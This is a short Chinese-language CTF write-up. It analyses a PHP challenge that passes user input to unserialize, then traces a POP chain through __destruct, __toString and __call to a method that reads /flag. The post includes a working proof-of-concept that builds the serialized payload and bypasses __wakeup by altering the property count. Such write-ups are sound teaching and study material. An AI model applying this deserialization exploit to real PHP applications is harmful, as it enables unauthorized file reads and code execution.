php反序列化pop链

成都理工平台的一道反序列化

源码如下

<?php
highlight_file(__FILE__);

class A
{
  public $a;
  private $b;
  protected $c;

  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }

  protected function flag()
  {
    echo file_get_contents('/flag');
  }

  public function __call($name, $arguments)
  {
    call_user_func([$name, $arguments[0]]);
  }

  public function __destruct()
  {
    return 'this a:' . $this->a;
  }
  public function __wakeup()
  {
    $this->a = 1;
    $this->b = 2;
    $this->c = 3;
  }
}

class B
{
  public $a;
  private $b;
  protected $c;

  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }

  public function b()
  {
    echo $this->b;
  }

  public function __toString()
  {
    $this->a->a($this->b);
    return 'this is B';
  }
}

if (isset($_GET['str']))
  unserialize($_GET['str']);

分析下代码

最后肯定是要回到flag函数的

先找入口,destruct可以执行$this->a，a是可控的

那就可以触发B类的toString方法

如果控制B类中的a为new A，那么就会调用A类中一个不存在的方法,触发__call，而控制参数$this->b为flag就可以通过call_user_func回调flag函数

但是这里指定的是a,而非A

不过call_user_func这个函数是不区分大小写的,又是因为是个数组,所以相当于回调了A类里面的flag函数

但是这里并没有完,我们在反序列化时还要过滤__wakeup方法

poc:

<?php

class A

{

  public $a;

  private $b;

  protected $c; 

}

class B

{

  public $a;

  private $b;

  protected $c;

  public function __construct()

  {

    $this->b='flag';

  }

}

 

$t=new A();

$s=new B();

$s->a=$t;

$t->a=$s;

$p=serialize($t);

$p=str_replace('A":3','A":4',$p);

echo $p;

echo '</br>';

echo urlencode($p);

这题的链子其实一下就看到了,主要是这个call_user_func不区分大小写在这里记录一下